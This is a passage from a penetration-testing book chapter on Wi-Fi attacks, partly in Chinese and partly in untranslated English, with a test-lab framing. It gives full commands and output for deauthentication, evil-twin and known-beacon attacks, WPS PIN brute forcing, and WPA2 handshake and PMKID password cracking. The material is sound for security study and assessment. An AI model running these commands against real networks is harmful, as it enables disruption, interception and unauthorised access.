11:03:57 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [62|121 ACKS]
11:03:58 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [64|124 ACKS]
11:03:58 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [62|110 ACKS]
11:03:59 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [64|75 ACKS]
11:03:59 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [63|64 ACKS]
11:03:00 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [21|61 ACKS]
11:03:00 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [ 0|67 ACKS]
11:03:01 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [ 0|64 ACKS]
11:03:02 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [ 0|61 ACKS]
11:03:02 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [ 0|66 ACKS]
11:03:03 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [ 0|65 ACKS]
输出显示发送到目标的断开连接数据包。当目标设备变得不可用时,攻击成功。检查该设备时,你会发现它不再连接任何网络。
你也可以通过其他方式对 Wi-Fi 进行拒绝服务攻击。无线电干扰,另一种常见方法,通过任何无线协议干扰无线通信。在这种攻击中,攻击者依赖于软件定义无线电设备或便宜的现成 Wi-Fi 加密狗,发送无线电信号,使无线频道无法供其他设备使用。我们将在第十五章展示这种攻击。
另外,你也可以执行选择性干扰,这是一种复杂的无线电干扰攻击版本,其中攻击者只干扰特定的高重要性数据包。
值得注意的是,对于某些芯片组,去认证攻击还可能降低 AP 和客户端之间通信所使用的加密密钥的安全性。最近,杀毒公司 ESET 的研究发现了这一漏洞,称为 Kr00k(CVE-2019-15126)。在此漏洞存在时,去认证的 Wi-Fi 芯片组在重新关联时会使用全零的加密密钥,这使得攻击者能够解密受影响设备传输的数据包。
Wi-Fi 关联攻击
关联攻击使无线站点被欺骗连接到攻击者控制的 AP。如果目标站点已经连接到其他网络,攻击者通常会通过实施我们刚才解释的其中一种去认证技术来开始。一旦受害者失去连接,攻击者就可以通过滥用其网络管理器的不同功能将其引诱到恶意网络中。
在本节中,我们概述了最常见的关联攻击,并展示了已知信标攻击。
邪恶双胞胎攻击
最常见的关联攻击是邪恶双胞胎攻击,它通过让客户端相信自己正在连接一个已知的合法 AP,欺骗客户端连接到一个假 AP。
我们可以使用具有监控和数据包注入功能的网络适配器创建一个假 AP。使用该网卡,我们将设置 AP 并配置其频道、ESSID 和 BSSID,同时确保复制合法网络使用的 ESSID 和加密类型。然后,我们会发送比合法 AP 信号更强的信号。你可以通过各种技术增强你的信号,最可靠的方法是比合法 AP 更靠近目标,或使用更强的天线。
KARMA 攻击
KARMA攻击通过利用配置为自动发现无线网络的客户端,将用户连接到不安全的网络。当配置为此方式时,客户端会发出一个直接的探测请求,询问特定的 AP,然后连接到它找到的 AP,而不进行身份验证。探测请求是一种管理帧,用于启动关联过程。在这种配置下,攻击者可以简单地确认客户端的任何请求并将其连接到一个恶意 AP。
要使 KARMA 攻击生效,你的目标设备必须满足三个条件。目标网络必须是开放类型的,客户端必须启用自动连接标志,并且客户端必须广播其首选网络列表。首选网络列表是客户端曾连接并信任的网络列表。启用自动连接标志的客户端会自动连接到 AP,只要该 AP 发送的 ESSID 已经出现在客户端的首选网络列表中。
大多数现代操作系统不会受到 KARMA 攻击的影响,因为它们不发送首选网络列表,但你有时可能会遇到旧款物联网设备或打印机中的易受攻击系统。如果设备曾经连接过开放的隐蔽网络,它肯定容易受到 KARMA 攻击。原因是,连接到开放的隐蔽网络的唯一方法是向其发送直接探测请求,在这种情况下,KARMA 攻击的所有要求都得到了满足。
执行已知信标攻击
自从 KARMA 攻击被发现以来,大多数操作系统停止了直接探测 AP;取而代之的是,它们仅使用被动侦察,即设备监听网络中的已知 ESSID。这种行为完全消除了所有 KARMA 攻击的发生。
已知信标攻击通过利用许多操作系统默认启用自动连接标志的事实来绕过这一安全功能。由于 AP 通常具有非常常见的名称,攻击者通常可以猜测设备首选网络列表中开放网络的 ESSID。然后,它诱使该设备自动连接到攻击者控制的 AP。
在更复杂的攻击版本中,攻击者可以使用一个包含常见 ESSID(如 Guest、FREE Wi-Fi 等)的字典,这些 ESSID 受害者过去很可能连接过。这就像尝试通过暴力破解用户名来未经授权访问服务账户时一样:一种非常简单却有效的攻击方式。
图 12-1 演示了已知信标攻击。

图 12-1:已知信标攻击
攻击者的 AP 开始通过发射多个 信标帧,这是一种包含所有网络信息的管理帧。它会定期广播,以宣布网络的存在。如果受害者的设备将此网络信息保存在其首选网络列表中(因为受害者曾经连接过该网络),并且攻击者和受害者的 AP 都是开放型的,那么受害者会发出探测请求并连接到该网络。
在进行此攻击之前,我们需要设置设备。某些设备可能允许你更改 AutoConnect 标志。此设置的位置因设备而异,但通常在 Wi-Fi 设置中,如 图 12-2 所示,设置项通常为“自动重连”。确保此选项已启用。

图 12-2:带有 AutoConnect 切换按钮的 Wi-Fi 设置
接下来,设置一个开放式 AP,名称为 my_essid。我们使用便携式 TP-Link AP 来实现,但你可以使用任何你喜欢的设备。设置完成后,将受害设备连接到 my_essid 网络。然后安装 Wifiphisher(github.com/wifiphisher/wifiphisher/),一个常用于网络评估的伪造 AP 框架。
安装 Wifiphisher,请使用以下命令:
$ **sudo apt-get install libnl-3-dev libnl-genl-3-dev libssl-dev**
$ **git clone** **https://github.com/wifiphisher/wifiphisher.git**
$ **cd** **wifiphisher** **&&** **sudo python****3** **setup.py install**
Wifiphisher 需要针对特定网络发起攻击,以便攻击该网络的客户端。我们创建了一个测试网络,也叫做 my_essid,以避免在未授权的情况下影响外部客户端:
# 1 **wifiphisher -nD –essid my_essid -kB**
[*] Starting Wifiphisher 1.4GIT ( https://wifiphisher.org ) at 2019-08-19 03:35
[+] Timezone detected. Setting channel range to 1-13
[+] Selecting wfphshr-wlan0 interface for the deauthentication attack
[+] Selecting wlan0 interface for creating the rogue Access Point
[+] Changing wlan0 MAC addr (BSSID) to 00:00:00:yy:yy:yy
[+] Changing wlan0 MAC addr (BSSID) to 00:00:00:xx:xx:xx
[+] Sending SIGKILL to wpa_supplicant
[*] Cleared leases, started DHCP, set up iptables
[+] Selecting OAuth Login Page template
我们通过添加 –kB 参数 1 在已知信标模式下启动 Wifiphisher。你无需提供攻击所需的词库,因为 Wifiphisher 已内置一个。该词库包含受害者过去可能连接过的常见 ESSID。运行命令后,WifiPhisher 的界面应打开,如 图 12-3 所示。

图 12-3:Wifiphisher 面板显示受害设备连接到我们的网络
Wifiphisher 的面板显示了已连接的受害设备数量。目前,我们的测试设备是唯一连接的目标设备。
查看你在本示例中所针对设备的首选网络列表。例如,图 12-4 显示了三星 Galaxy S8+ 设备的首选网络列表屏幕。注意,它保存了两个网络,第一个是 FreeAirportWiFi,使用了一个容易猜测的名称。

图 12-4:受害设备的首选网络列表屏幕
果然,一旦我们执行了攻击,设备应该会从当前连接的网络中断开,并连接到我们的恶意假网络(图 12-5)。

图 12-5:受害设备因已知信标攻击而连接到假网络。
从此时起,攻击者可以充当中间人,监控受害者的流量,甚至篡改它。
Wi-Fi Direct
Wi-Fi Direct 是一种 Wi-Fi 标准,允许设备在没有无线 AP 的情况下相互连接。在传统架构中,所有设备都连接到一个 AP 以相互通信。而在 Wi-Fi Direct 中,两个设备中的一个充当 AP。我们称这个设备为群组所有者。为了使 Wi-Fi Direct 正常工作,只有群组所有者需要遵循 Wi-Fi Direct 标准。
你可以在打印机、电视、游戏主机、音响系统和流媒体设备等设备中找到 Wi-Fi Direct。许多支持 Wi-Fi Direct 的物联网设备也同时连接到标准 Wi-Fi 网络。例如,一台家庭打印机可能能够通过 Wi-Fi Direct 直接接收来自智能手机的照片,但它也很可能连接到本地网络。
在本节中,我们将回顾 Wi-Fi Direct 是如何工作的,它的主要操作模式是什么,以及你可以使用哪些技术来利用其安全功能。
Wi-Fi Direct 的工作原理
图 12-6 展示了设备如何使用 Wi-Fi Direct 建立连接。

图 12-6:Wi-Fi Direct 中设备连接的主要阶段
在设备发现阶段,设备向所有附近的设备发送广播消息,请求它们的 MAC 地址。在这个阶段,尚未有群组所有者,所以任何设备都可以发起此步骤。接下来,在服务发现阶段,设备接收 MAC 地址,并向每个设备发送单播服务请求,询问它们的服务信息。这使设备能够决定是否连接到每个设备。服务发现阶段后,两个设备会决定哪个是群组所有者,哪个是客户端。
在最后阶段,Wi-Fi Direct 依赖 Wi-Fi Protected Setup(WPS)来安全地连接设备。WPS是最初为让技术水平较低的家庭用户轻松添加新设备到网络中而创建的协议。WPS 有多种配置方式:推按钮配置(PBC)、PIN 输入和近场通信(NFC)。在PBC模式下,组主机有一个物理按钮,按下该按钮后,会广播 120 秒。在这段时间内,客户端可以使用自己的软件或硬件按钮连接到组主机。这使得一个困惑的用户可能按下受害设备(如电视)上的按钮,并将访问权限授予一个外部的潜在恶意设备(如攻击者的智能手机)。在PIN 输入模式下,组主机有一个特定的 PIN 码,如果客户端输入该 PIN 码,两个设备会自动连接。在NFC模式下,只需轻触两个设备就能将它们连接到网络。
使用 Reaver 进行 PIN 暴力破解
攻击者可以暴力破解 PIN 输入配置中的代码。这种攻击类似于一次点击的钓鱼攻击,你可以在任何支持 Wi-Fi Direct PIN 输入的设备上使用它。
这种攻击利用了八位数 WPS PIN 码中的一个漏洞;由于这个问题,协议泄露了 PIN 码前四位的信息,而最后一位作为校验和,这使得暴力破解 WPS AP 变得容易。请注意,某些设备包含暴力破解保护,通常会阻止那些反复尝试攻击的 MAC 地址。在这种情况下,这种攻击的复杂性增加了,因为你必须在测试 PIN 码时旋转 MAC 地址。
目前,你很少会发现启用 WPS PIN 模式的 AP,因为现成的工具可以暴力破解它们的 PIN 码。一个这样的工具是 Reaver,它已经预装在 Kali Linux 中。在这个例子中,我们将使用 Reaver 来暴力破解 WPS PIN 码。尽管这个 AP 通过速率限制实施了暴力破解保护,但只要有足够的时间,我们应该能够恢复 PIN 码。(速率限制限制了 AP 在预定时间内从客户端接受的请求次数。)
# 1 **reaver -i wlan0mon -b 0c:80:63:c5:1a:8a -vv**
Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Waiting for beacon from 0C:80:63:C5:1A:8A
[+] Switching wlan0mon to channel 11
[+] Received beacon from 0C:80:63:C5:1A:8A
[+] Vendor: RalinkTe
[+] Trying pin "12345670"
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...…
...
[+] Received WSC NACK
[+] Sending WSC NACK
[!] WARNING: 2 Detected AP rate limiting, waiting 60 seconds before re-checking
...
[+] 3 WPS PIN: ‘23456780’
如你所见,Reaver 1 针对我们的测试网络并开始暴力破解其 PIN 码。接下来,我们遇到了速率限制 2,这严重延迟了我们的进展,因为 Reaver 会在进行下一次尝试前自动暂停。最后,我们成功恢复了 WPS PIN 码 3。
EvilDirect 劫持攻击
EvilDirect 攻击的工作原理与本章前面描述的 Evil Twin 攻击非常相似,不同之处在于它针对使用 Wi-Fi Direct 的设备。这种关联攻击发生在 PBC 连接过程中。在这个过程中,客户端发出连接到组主机的请求,并等待其接受。一个具有相同 MAC 地址和 ESSID、在同一信道上运行的攻击者组主机,可以拦截请求,并诱使受害者客户端与它建立连接。
在你尝试此攻击之前,你必须伪装成合法的群组所有者。使用 Wifiphisher 识别目标 Wi-Fi Direct 网络。提取群组所有者的频道、ESSID 和 MAC 地址,然后创建一个新的群组所有者,使用提取的数据进行配置。通过提供比原始群组所有者更强的信号,将受害者连接到你的伪造网络,如前所述。
接下来,终止所有干扰 Airmon-ng 的进程,正如我们在本章前面所做的那样:
# airmon-ng check kill
然后使用 iwconfig 将你的无线接口设置为监视模式:
1 # iwconfig
eth0 no wireless extensions.
lo no wireless extensions.
2 wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
3 # airmon-ng start wlan0
iwconfig命令 1 可以让你识别无线适配器的名称。我们的适配器名称是wlan0 2。拿到名称后,使用命令airmon-ng start wlan03 将其安全地设置为监视模式。
接下来,运行 Airbase-ng,这是 Aircrack-ng 套件中的一个多功能工具,旨在攻击 Wi-Fi 客户端。作为命令行参数,提供频道(-c)、ESSID(-e)、BSSID(-a)和监视接口,在我们的例子中是mon0。我们在前一步提取了这些信息。
# airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0
04:47:17 Created tap interface at0
04:47:17 Trying to set MTU on at0 to 1500
04:47:17 Access Point with BSSID BB:BB:BB:BB:BB:BB started.
04:47:37 1 Client AA:AA:AA:AA:AA:AA associated (WPA2;CCMP) to ESSID: "DIRECT-5x-BRAVIA"
输出表明攻击成功了 1;我们的目标客户端现在已经连接到恶意 AP。
图 12-7 证明我们的攻击成功了。我们通过伪装成原始电视的 Wi-Fi Direct 网络 DIRECT-5x-BRAVIA,将受害者的手机连接到我们伪造的 BRAVIA 电视。

图 12-7:受害设备通过 EvilDirect 攻击连接到假 AP
在一个真实的例子中,我们还需要配置一个 DHCP 服务器,将所有数据包转发到其目的地。这样一来,我们就不会中断受害者的通信,提供一个无缝的体验给受害者。
针对 AP 的 Wi-Fi 攻击
在 IoT 领域,IoT 设备作为 AP 并不罕见。这通常发生在设备为设置过程创建开放 AP 时(例如,亚马逊 Alexa 和谷歌 Chromecast 会这样做)。现代移动设备也可以充当 AP,将它们的 Wi-Fi 连接分享给其他用户,智能汽车也具备内建的 Wi-Fi 热点,并通过 4G LTE 连接增强信号。
攻击 AP 通常意味着破解它的加密。在本节中,我们将探讨针对 WPA 和 WPA2 的攻击,这两种协议用于保护无线计算机网络。WPA 是 WEP 的升级版,WEP 是一个非常不安全的协议,你可能在某些旧款 IoT 设备中仍会遇到。WEP 生成一个初始化向量(IV),其长度相当小——仅 24 位——这个向量是通过RC4生成的,RC4 是一种已经过时且不安全的加密函数。WPA2 则是 WPA 的升级版本,采用了基于高级加密标准(AES)的加密模式。
让我们讨论 WPA/WPA2 个人和企业网络,并识别针对它们的关键攻击。
破解 WPA/WPA2
你可以通过两种方式破解 WPA/WPA2 网络。第一种方式是针对使用预共享密钥的网络。第二种方式是针对启用了 802.11r 标准的网络中的 对称主密钥标识符(PMKID) 字段。在漫游过程中,客户端可以连接到属于同一网络的不同 AP,而无需重新认证。尽管 PMKID 攻击的成功率更高,但并不是所有 WPA/WPA2 网络都会受到影响,因为 PMKID 字段是可选的。预共享密钥攻击是一种暴力破解攻击,成功率较低。
预共享密钥攻击
WEP、WPA 和 WPA2 都依赖于设备之间必须共享的密钥,理想情况下应通过安全通道进行共享,然后才能开始通信。在这三种协议中,AP 会使用与所有客户端相同的预共享密钥。
为了窃取这个密钥,我们需要捕获完整的四次握手。WPA/WPA2 四次握手 是一种通信序列,允许 AP 和无线客户端相互证明它们都知道预共享密钥,而无需通过无线电信号泄露该密钥。通过捕获四次握手,攻击者可以进行离线暴力破解并揭露密钥。
也被称为 扩展认证协议(EAP) 过 LAN(EAPOL)握手,WPA2 使用的四次握手(图 12-8)涉及基于预共享密钥生成多个密钥。

图 12-8:WPA2 四次握手
首先,客户端使用预共享密钥,称为对称主密钥(PMK),通过两个设备的 MAC 地址和来自双方的 nonce 生成第二个密钥,称为对称临时密钥(PTK)。这要求 AP 向客户端发送其 nonce,称为 A-nonce。(客户端已经知道自己的 MAC 地址,并且在两个设备开始通信后会收到 AP 的 MAC 地址,因此设备不需要再次发送这些信息。)
一旦客户端生成了 PTK,它会向 AP 发送两个项目:它自己的 nonce,称为 S-nonce,以及 PTK 的哈希值,称为 消息完整性代码(MIC)。然后,AP 自行生成 PTK 并验证它收到的 MIC。如果 MIC 是有效的,AP 会发出第三个密钥,称为 组临时密钥(GTK),该密钥用于解密并向所有客户端广播流量。AP 发送 GTK 的 MIC 和 GTK 的完整值。客户端验证这些并以确认(ACK)回应。
设备将所有这些消息作为 EAPOL 帧发送,这是一种 802.1X 协议使用的帧类型。
让我们尝试破解一个 WPA2 网络。为了获取 PMK,我们需要提取 A-nonce、S-nonce、两个 MAC 地址以及 PTK 的 MIC。一旦获得这些值,我们可以进行离线暴力破解以破解密码。
在这个例子中,我们设置了一个在 WPA2 预共享密钥模式下运行的 AP,并将智能手机连接到该 AP。你可以将客户端替换为笔记本电脑、智能手机、IP 摄像头或其他设备。我们将使用 Aircrack-ng 来演示攻击。
首先,将无线接口设置为监控模式,并提取 AP 的 BSSID。有关如何执行此操作的完整说明,请参见第 289 页的《去认证和拒绝服务攻击》。在我们的例子中,我们得知 AP 的操作频道是 1,BSSID 是 0C:0C:0C:0C:0C:0C。
继续被动监控,这需要一些时间,因为我们必须等到有客户端连接到 AP。你可以通过向已经连接的客户端发送去认证数据包来加速这个过程。默认情况下,去认证的客户端会尝试重新连接到 AP,重新发起四次握手。
一旦客户端连接,使用 Airodump-ng开始捕获发送到目标网络的帧:
``` # airmon-ng check kill # airodump-ng **-c** **6** **--bssid 0C:0C:0C:0C:0C:0C wlan0mo -w dump** ``` Once we’ve captured frames for a couple of minutes, we start our brute-force attack to crack the key. We can do this quickly using Aircrack-ng: ``` # aircrack-ng -a2 -b 0C:0C:0C:0C:0C:0C -w list dump-01.cap Aircrack-ng 1.5.2 [00:00:00] 4/1 keys tested (376.12 k/s) Time left: 0 seconds 400.00% KEY FOUND! [ 24266642 ] Master Key : 7E 6D 03 12 31 1D 7D 7B 8C F1 0A 9E E5 B2 AB 0A 46 5C 56 C8 AF 75 3E 06 D8 A2 68 9C 2A 2C 8E 3F Transient Key : 2E 51 30 CD D7 59 E5 35 09 00 CA 65 71 1C D0 4F 21 06 C5 8E 1A 83 73 E0 06 8A 02 9C AA 71 33 AE 73 93 EF D7 EF 4F 07 00 C0 23 83 49 76 00 14 08 BF 66 77 55 D1 0B 15 52 EC 78 4F A1 05 49 CF AA EAPOL HMAC : F8 FD 17 C5 3B 4E AB C9 D5 F3 8E 4C 4B E2 4D 1A ``` We recover the PSK: `24266642`. Note that some networks use more complex passwords, making this technique less feasible. #### PMKID Attacks In 2018, a Hashcat developer nicknamed atom discovered a new way to crack the WPA/WPA2 PSK and outlined it in the Hashcat forums. The novelty of this attack is that it’s clientless; the attacker can target the AP directly without having to capture the four-way handshake. In addition, it’s a more reliable method. This new technique takes advantage of the *Robust Security Network (RSN)* PMKID field, an optional field normally found in the first EAPOL frame from the AP. The PMKID gets computed as follows: ``` PMKID = HMAC-SHA1-128(PMK, “PMK Name” | MAC_AP | MAC_STA) ``` The PMKID uses the HMAC-SHA1 function with the PMK as a key. It encrypts the concatenation of a fixed string label, `"PMK Name"`; the AP’s MAC address; and the wireless station’s MAC address. For this attack, you’ll need the following tools: Hcxdumptool, Hcxtools, and Hashcat. To install Hcxdumptool, use the following commands: ``` $ **git clone https://github.com/ZerBea/hcxdumptool.git** $ **cd hcxdumptool && make &&** **sudo** **make install** ``` To install Hcxtools, you’ll first need to install `libcurl-dev` if it’s not already installed on your system: ``` $ **sudo apt-get install libcurl4-gnutls-dev** ``` Then you can install Hcxtools with the following commands: ``` $ **git clone https://github.com/ZerBea/hcxtools.git** $ **cd hcxtools && make &&** **sudo** **make install** ``` If you’re working on Kali, Hashcat should already be installed. On Debian-based distributions, the following command should do the trick: ``` $**sudo** **apt install hashcat** ``` We first put our wireless interface in monitor mode. Follow the instructions in “Deauthentication and Denial-of-Service Attacks” on page 289 to do this. Next, using `hcxdumptool`,we start capturing traffic and save it to a file: ``` # hcxdumptool -i wlan0mon –enable_status=31 -o sep.pcapng –filterlist_ap=whitelist.txt --filtermode=2 initialization... warning: wlan0mon is probably a monitor interface start capturing (stop with ctrl+c) INTERFACE................: wlan0mon ERRORMAX.................: 100 errors FILTERLIST...............: 0 entries MAC CLIENT...............: a4a6a9a712d9 MAC ACCESS POINT.........: 000e2216e86d (incremented on every new client) EAPOL TIMEOUT............: 150000 REPLAYCOUNT..............: 65165 ANONCE...................: 6dabefcf17997a5c2f573a0d880004af6a246d1f566ebd04c3f1229db1ada39e ... [18:31:10 – 001] 84a06ec17ccc -> ffffffffff Guest [BEACON, SEQUENCE 2800, AP CHANNEL 11] ... [18:31:10 – 001] 84a06ec17ddd -> e80401cf4fff [FOUND PMKID CLIENT-LESS] [18:31:10 – 001] 84a06ec17eee -> e80401cf4aaa [AUTHENTICATION, OPEN SYSTEM, STATUS 0, SEQUENCE 2424] ... INFO: cha=1, rx=360700, rx(dropped)=106423, tx=9561, powned=21, err=0 INFO: cha=11, rx=361509, rx(dropped)=106618, tx=9580, powned=21, err=0 ``` Make sure you apply the `–filterlist_ap` argument with your target’s MAC address when using Hcxdumptool so you don’t accidentally crack the password for a network you have no permission to access. The `--filtermode` option will blacklist (`1`) or whitelist (`2`) the values in your list and then either avoid or target them. In our example, we listed these MAC addresses in the *whitelist.txt* file. The output found a potentially vulnerable network, identified by the `[FOUND PMKID]` tag. Once you see this tag, you can stop capturing traffic. Keep in mind that it might take some time before you encounter it. Also, because the PMKID field is optional, not all existing APs will have one. Now we need to convert the captured data, which includes the PMKID data in the *pcapng* format, to a format that Hashcat can recognize: Hashcat takes hashes as input. We can generate a hash from the data using `hcxpcaptool`: ``` $ **hcxpcaptool -z out sep.pcapng** reading from sep.pcapng-2 summary: -------- file name....................: sep.pcapng-2 file type....................: pcapng 1.0 file hardware information....: x86_64 file os information..........: Linux 5.2.0-kali2-amd64 file application information.: hcxdumptool 5.1.4 network type.................: DLT_IEEE802_11_RADIO (127) endianness...................: little endian read errors..................: flawless packets inside...............: 171 skipped packets..............: 0 packets with GPS data........: 0 packets with FCS.............: 0 beacons (with ESSID inside)..: 22 probe requests...............: 9 probe responses..............: 6 association requests.........: 1 association responses........: 10 reassociation requests.......: 1 reassociation responses......: 1 authentications (OPEN SYSTEM): 47 authentications (BROADCOM)...: 46 authentications (APPLE)......: 1 EAPOL packets (total)........: 72 EAPOL packets (WPA2).........: 72 EAPOL PMKIDs (total).........: 19 EAPOL PMKIDs (WPA2)..........: 19 best handshakes..............: 3 (ap-less: 0) best PMKIDs..................: 8 8 PMKID(s) written in old hashcat format (<= 5.1.0) to out ``` This command creates a new file called *out* that contains data in the following format: ``` 37edb542e507ba7b2a254d93b3c22fae*b4750e5a1387*6045bdede0e2*4b61746879 ``` This * delimited format contains the PMKID value, the AP’s MAC address, the wireless station’s MAC address, and the ESSID. Create a new entry for every PMKID network you identify. Now use the Hashcat 16800 module to crack the vulnerable network’s password. The only thing missing is a wordlist containing potential passwords for the AP. We’ll use the classic *rockyou.txt* wordlist. ``` **$ `cd /usr/share/wordlists/ && gunzip -d rockyou.txt.gz`** $ **hashcat -m16800 ./out /usr/share/wordlists/rockyou.txt** OpenCL Platform #1: NVIDIA Corporation ====================================== * Device #1: GeForce GTX 970M, 768/3072 MB allocatable, 10MCU OpenCL Platform #2: Intel(R) Corporation Rules: 1 ... .37edb542e507ba7b2a254d93b3c22fae*b4750e5a1387*6045bdede0e2*4b61746879: **purple123** 1 Session..........: hashcat Status...........: Cracked Hash.Type........: WPA-PMKID-PBKDF2 Hash.Target......: 37edb542e507ba7b2a254d93b3c22fae*b4750e5a1387*6045b...746879 Time.Started.....: Sat Nov 16 13:05:31 2019 (2 secs) Time.Estimated...: Sat Nov 16 13:05:33 2019 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 105.3 kH/s (11.80ms) @ Accel:256 Loops:32 Thr:64 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 387112/14344385 (2.70%) Rejected.........: 223272/387112 (57.68%) Restore.Point....: 0/14344385 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: 123456789 -> sunflower15 Hardware.Mon.#1..: Temp: 55c Util: 98% Core:1037MHz Mem:2505MHz Bus:16 Started: Sat Nov 16 13:05:26 2019 Stopped: Sat Nov 16 13:05:33 ``` The Hashcat tool manages to extract the password 1: `purple123`. ### Cracking into WPA/WPA2 Enterprise to Capture Credentials In this section, we provide an overview of attacks against WPA Enterprise. An actual exploitation of WPA Enterprise is outside the scope of this book, but we’ll briefly cover how such an attack works. WPA Enterprise is a more complex mode than WPA Personal and is mainly used for business environments that require extra security. This mode includes an extra component, a *Remote Authentication Dial-In User Service (RADIUS)* server, and uses the 802.1x standard. In this standard, the four-way handshake occurs after a separate authentication process, the EAP. For this reason, the attacks on WPA Enterprise focus on breaking EAP. EAP supports many different authentication methods, the most common of which are Protected-EAP (PEAP) and EAP-Tunneled-TLS (EAP-TTLS). A third method, EAP-TLS, is becoming more popular due to its security features. At the time of this writing, EAP-TLS remains a safe choice, because it requires security certificates on both sides of the wireless connection, providing a more resilient approach to connecting to an AP. But the administrative overhead of managing the server and the client certificates might deter most network administrators. The other two protocols perform certificate authentication to the server only, not to the client, allowing the clients to use credentials that are prone to interception. Network connections in the WPA Enterprise mode involve three parties: the client, the AP, and the RADIUS authentication server. The attack described here will target the authentication server and the AP by attempting to extract the victim’s credential hashes for an offline brute-force attack. It should work against the PEAP and EAP-TTLS protocols. First, we create a fake infrastructure containing a fake AP and a RADIUS server. This AP should mimic the legitimate one by operating with the same BSSID, ESSID, and channel. Next, because we’re targeting the clients rather than the AP, we’ll deauthenticate the AP’s clients. The clients will attempt to reconnect to their target AP by default, at which point our malicious AP will associate the victims to it. This way, we can capture their credentials. The captured credentials will be encrypted, as mandated by the protocol. Fortunately for us, the PEAP and EAP-TTLS protocols use the MS-CHAPv2 encryption algorithm, which uses the Data Encryption Standard (DES) under the hood and is easily cracked. Equipped with a list of captured encrypted credentials, we can launch an offline brute-force attack and recover the victim’s credentials. ## A Testing Methodology When performing a security assessment on Wi-Fi enabled systems, you could follow the methodology outlined here, which covers the attacks described in this chapter. First, verify whether the device supports Wi-Fi Direct and its association techniques (PIN, PBC, or both). If so, it could be susceptible to PIN brute forcing or EvilDirect attacks. Next, examine the device and its wireless capabilities. If the wireless device supports STA capabilities (which means itcan be used as either an AP or a client), it might be vulnerable to association attacks. Check if the client connects automatically to previously connected networks. If it does, it could be vulnerable to the Known Beacons attack. Verify that the client isn’t arbitrarily sending probes for previously connected networks. If it is, it could be vulnerable to a KARMA attack. Identify whether the device has support for any third-party Wi-Fi utilities, such as custom software used to set up Wi-Fi automatically. These utilities could have insecure settings enabled by default due to negligence. Study the device’s activities. Are there any critical operations happening over Wi-Fi? If so, it might be possible to cause a denial of service by jamming the device. Also, in cases when the wireless device supports AP capabilities, it could be vulnerable to improper authentication. Then search for potential hardcoded keys. Devices configured to support WPA2 Personal might come with a hardcoded key. This is a common pitfall that could mean an easy win for you. On enterprise networks that use WPA Enterprise, identify which authentication method the network is employing. Networks using PEAP and EAP-TTLS could be susceptible to having their client’s credentials compromised. Enterprise networks should use EAP-TLS instead. ## Conclusion Recent advances in technologies like Wi-Fi have greatly contributed to the IoT ecosystem, allowing people and devices to be even more connected than ever in the past. Most people expect a standard degree of connectivity wherever they go, and organizations regularly rely on Wi-Fi and other wireless protocols to increase their productivity. In this chapter, we demonstrated Wi-Fi attacks against clients and APs with off-the-shelf tools, showing the large attack surface that medium-range radio protocols unavoidably expose. At this point, you should have a good understanding of various attacks against Wi-Fi networks, ranging from signal jamming and network disruption to association attacks like the KARMA and Known Beacons attacks. We detailed some key features of Wi-Fi Direct and how to compromise them using PIN brute forcing and the EvilDirect attack. Then we went over the WPA2 Personal and Enterprise security protocols and identified their most critical issues. Consider this chapter a baseline for your Wi-Fi network assessments.
第十三章:长距离无线电:LPWAN

低功耗广域网(LPWAN) 是一类无线、低功耗、广域网技术,专为低比特率的远程通信设计。这些网络的通信距离可以超过六英里,而且它们的功耗非常低,以至于电池可以持续长达 20 年。此外,整体技术成本相对较低。LPWAN 可以使用许可或非许可频率,并包括专有或开放标准协议。
LPWAN 技术在物联网系统中很常见,如智能城市、基础设施和物流。它们代替电缆使用,或在可能不安全直接将节点插入主网络的情况下使用。例如,在基础设施中,LPWAN 传感器常用于测量河流洪水水位或水管的压力。在物流中,传感器可能会报告冷藏单元内的温度,这些单元通常位于运输船或卡车的集装箱内。
本章我们重点介绍 LPWAN 无线技术中的一种主要技术——Long Range (LoRa),因为它在多个国家非常流行,并且具有一个名为 LoRaWAN 的开放源代码规范。它用于多种关键用途,如铁路平交道口、入侵报警、工业控制系统(ICS)监测、自然灾害通信,甚至接收来自太空的消息。我们首先展示如何使用和编程简单设备来发送、接收和捕获 LoRa 无线电流量。然后,我们提高一个层次,向您展示如何解码 LoRaWAN 数据包,以及 LoRaWAN 网络是如何工作的。此外,我们还提供了对可能针对该技术进行的各种攻击的概述,并演示了一个比特翻转攻击。
LPWAN、LoRa 和 LoRaWAN
LoRa 是三种主要 LPWAN 调制技术之一。另两种是 Ultra Narrowband (UNB) 和 NarrowBand (NB-IoT)。LoRa 是 扩频,这意味着设备在比原始信息的频率内容更大的带宽上传输信号;它使用的比特率范围从每个通道 0.3Kbps 到 50Kbps。UNB 使用非常窄的带宽,而 NB-IoT 则利用现有的蜂窝基础设施,如全球网络运营商 Sigfox,这是最大的参与者。这些不同的 LPWAN 技术提供了不同级别的安全性。它们中的大多数包括网络和设备或订阅者身份认证、身份保护、先进的标准加密(AES)、消息机密性和密钥配置。
